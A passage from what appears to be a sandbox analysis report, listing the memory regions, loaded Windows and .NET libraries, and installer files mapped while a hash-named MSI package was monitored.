0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 943 start_va = 0xcd0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 944 start_va = 0xcf0000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 945 start_va = 0xd10000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 946 start_va = 0xd30000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 947 start_va = 0xdd0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 948 start_va = 0xdf0000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 949 start_va = 0xe10000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 950 start_va = 0x1950000 end_va = 0x196ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 951 start_va = 0x1a00000 end_va = 0x1a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 952 start_va = 0x1c50000 end_va = 0x1c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 953 start_va = 0x1cf0000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 954 start_va = 0x1d10000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 955 start_va = 0x1d30000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 956 start_va = 0x1d50000 end_va = 0x1d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 957 start_va = 0x1d70000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 958 start_va = 0x1d90000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 959 start_va = 0x1db0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 960 start_va = 0x1ee0000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 961 start_va = 0x1f00000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 962 start_va = 0x1f20000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 963 start_va = 0x1fc0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 964 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 965 start_va = 0x2290000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 966 start_va = 0x22b0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 967 start_va = 0x5250000 end_va = 0x564ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005250000" filename = "" Region: id = 968 start_va = 0x27d0000 end_va = 0x27effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 969 start_va = 0x27f0000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 970 start_va = 0x2810000 end_va = 0x282ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 971 start_va = 0x2830000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 972 start_va = 0x2850000 end_va = 0x286ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 973 start_va = 0x2900000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 974 start_va = 0x2920000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 975 start_va = 0x2940000 end_va = 0x295ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 976 start_va = 0x3000000 end_va = 0x301ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 977 start_va = 0x3020000 end_va = 0x303ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003020000" filename = "" Region: id = 978 start_va = 0x3040000 end_va = 0x305ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003040000" filename = "" Region: id = 979 start_va = 0x3060000 end_va = 0x307ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 980 start_va = 0x3080000 end_va = 0x309ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003080000" filename = "" Region: id = 981 start_va = 0x30a0000 end_va = 0x30bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 982 start_va = 0x30c0000 end_va = 0x30dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 983 start_va = 0x30e0000 end_va = 0x30fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030e0000" filename = "" Region: id = 984 start_va = 0x3100000 end_va = 0x311ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 985 start_va = 0x3120000 end_va = 0x313ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003120000" filename = "" Region: id = 986 start_va = 0x3140000 end_va = 0x315ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003140000" filename = "" Region: id = 987 start_va = 0x4a50000 end_va = 0x4e4cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 988 start_va = 0xb40000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 989 start_va = 0xbe0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 990 start_va = 0xc00000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 991 start_va = 0xcb0000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 992 start_va = 0xcd0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 993 start_va = 0xcf0000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 994 start_va = 0xd10000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 995 start_va = 0xd30000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 996 start_va = 0xdd0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 997 start_va = 0xdf0000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 998 start_va = 0xe10000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 999 start_va = 0x1950000 end_va = 0x196ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 1000 start_va = 0x1a00000 end_va = 0x1a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 1001 start_va = 0x1c50000 end_va = 0x1c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 1002 start_va = 0x1cf0000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 1003 start_va = 0x1d10000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 1004 start_va = 0x1d30000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 1005 start_va = 0x1d50000 end_va = 0x1d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 1006 start_va = 0x1d70000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 1007 start_va = 0x1d90000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 1008 start_va = 0x1db0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 1009 start_va = 0x1ee0000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 1010 start_va = 0x1f00000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1011 start_va = 0x1f20000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 1012 start_va = 0x1fc0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 1013 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1014 start_va = 0x2290000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 1015 start_va = 0x22b0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1016 start_va = 0x5250000 end_va = 0x564ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005250000" filename = "" Region: id = 1017 start_va = 0x27d0000 end_va = 0x27effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 1018 start_va = 0x27f0000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 1019 start_va = 0x2810000 end_va = 0x282ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 1020 start_va = 0x2830000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 1021 start_va = 0x2850000 end_va = 0x286ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 1022 start_va = 0x2900000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 1023 start_va = 0x2920000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 1024 start_va = 0x2940000 end_va = 0x295ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 1025 start_va = 0x3000000 end_va = 0x301ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1026 start_va = 0x3020000 end_va = 0x303ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003020000" filename = "" Region: id = 1027 start_va = 0x3040000 end_va = 0x305ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003040000" filename = "" Region: id = 1028 start_va = 0x3060000 end_va = 0x307ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 1029 start_va = 0x3080000 end_va = 0x309ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003080000" filename = "" Region: id = 1030 start_va = 0x30a0000 end_va = 0x30bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 1031 start_va = 0x30c0000 end_va = 0x30dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 1032 start_va = 0x30e0000 end_va = 0x30fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030e0000" filename = "" Region: id = 1033 start_va = 0x3100000 end_va = 0x311ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 1034 start_va = 0x3120000 end_va = 0x313ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003120000" filename = "" Region: id = 1035 start_va = 0x3140000 end_va = 0x315ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003140000" filename = "" Region: id = 1039 start_va = 0x2d0000 end_va = 0x2d3fff monitored = 0 entry_point = 0x2d2100 region_type = mapped_file name = "eventcls.dll" filename = "\\Windows\\System32\\eventcls.dll" (normalized: "c:\\windows\\system32\\eventcls.dll") Region: id = 1040 start_va = 0xb40000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 1041 start_va = 0xbe0000 end_va = 0xbe3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1042 start_va = 0xcb0000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 1043 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1047 start_va = 0x4a50000 end_va = 0x4e44fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 1048 start_va = 0x5250000 end_va = 0x5644fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005250000" filename = "" Region: id = 1049 start_va = 0x3060000 end_va = 0x30dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 1050 start_va = 0x5250000 end_va = 0x5ae4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005250000" filename = "" Region: id = 1051 start_va = 0x5af0000 end_va = 0x6abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005af0000" filename = "" Region: id = 1704 start_va = 0x1d00000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1705 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1709 start_va = 0x4a50000 end_va = 0x4e44fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 1710 start_va = 0x5250000 end_va = 0x5644fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005250000" filename = "" Region: id = 1766 start_va = 0x4a50000 end_va = 0x4e44fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 1767 start_va = 0x5250000 end_va = 0x5644fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005250000" filename = "" Region: id = 1917 start_va = 0x10d0000 end_va = 0x14affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "1876eff.msi" filename = "\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi") Region: id = 1918 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1919 start_va = 0x7fef9850000 end_va = 0x7fef98a6fff monitored = 0 entry_point = 0x7fef9851118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1920 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1921 start_va = 0xbe0000 end_va = 0xbe5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sxs.dll.mui" filename = "\\Windows\\System32\\en-US\\sxs.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sxs.dll.mui") Region: id = 1922 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 1923 start_va = 0x14b0000 end_va = 0x167ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 1924 start_va = 0x14b0000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 1925 start_va = 0x1670000 end_va = 0x167ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001670000" filename = "" Region: id = 1926 start_va = 0x1680000 end_va = 0x17bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 1927 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 1941 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1942 start_va = 0x7fef0ba0000 end_va = 0x7fef1666fff monitored = 1 entry_point = 0x7fef0ba63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 1957 start_va = 0x7fef00d0000 end_va = 0x7fef0b96fff monitored = 1 entry_point = 0x7fef00d63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 1958 start_va = 0x7fef9d20000 end_va = 0x7fef9d3afff monitored = 1 entry_point = 0x7fef9d222e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 1959 start_va = 0x7fef9d20000 end_va = 0x7fef9d3afff monitored = 1 entry_point = 0x7fef9d222e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 1960 start_va = 0xbf0000 end_va = 0xc0afff monitored = 1 entry_point = 0xbf22e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 2109 start_va = 0x7fef64b0000 end_va = 0x7fef64e2fff monitored = 0 entry_point = 0x7fef64d435c region_type = mapped_file name = "rstrtmgr.dll" filename = "\\Windows\\System32\\RstrtMgr.dll" (normalized: "c:\\windows\\system32\\rstrtmgr.dll") Region: id = 2110 start_va = 0x7fefc700000 end_va = 0x7fefc74ffff monitored = 0 entry_point = 0x7fefc7011e0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2111 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2112 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2113 start_va = 0xbf0000 end_va = 0xbf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 2114 start_va = 0xbf0000 end_va = 0xbf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 2115 start_va = 0x7fefc1a0000 end_va = 0x7fefc1ebfff monitored = 0 entry_point = 0x7fefc1a7950 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2116 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2117 start_va = 0xc00000 end_va = 0xc00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 2118 start_va = 0x7fef0ba0000 end_va = 0x7fef1666fff monitored = 1 entry_point = 0x7fef0ba63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2119 start_va = 0x7fef00d0000 end_va = 0x7fef0b96fff monitored = 1 entry_point = 0x7fef00d63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2120 start_va = 0x7fef9d20000 end_va = 0x7fef9d3afff monitored = 1 entry_point = 0x7fef9d222e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 2121 start_va = 0x7fef9d20000 end_va = 0x7fef9d3afff monitored = 1 entry_point = 0x7fef9d222e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 2122 start_va = 0xc10000 end_va = 0xc2afff monitored = 1 entry_point = 0xc122e0 region_type = mapped_file name = "fusion.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll") Region: id = 2125 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2126 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2127 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2128 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2129 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2130 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2134 start_va = 0x2df0000 end_va = 0x31cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" filename = "\\Users\\kEecfMwgj\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi3581fc9d3aa9d6d8a0ae572a1622f050msi") Region: id = 2141 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2142 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2143 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2144 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2151 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2152 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2153 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2154 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2181 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2182 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2188 start_va = 0xcb0000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "1876f00.ipi" filename = "\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi") Region: id = 2189 start_va = 0x15b0000 end_va = 0x162ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "~dfbb16f2a06510bc9b.tmp" filename = "\\Users\\KEECFM~1\\AppData\\Local\\Temp\\~DFBB16F2A06510BC9B.TMP" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\~dfbb16f2a06510bc9b.tmp") Region: id = 2190 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename 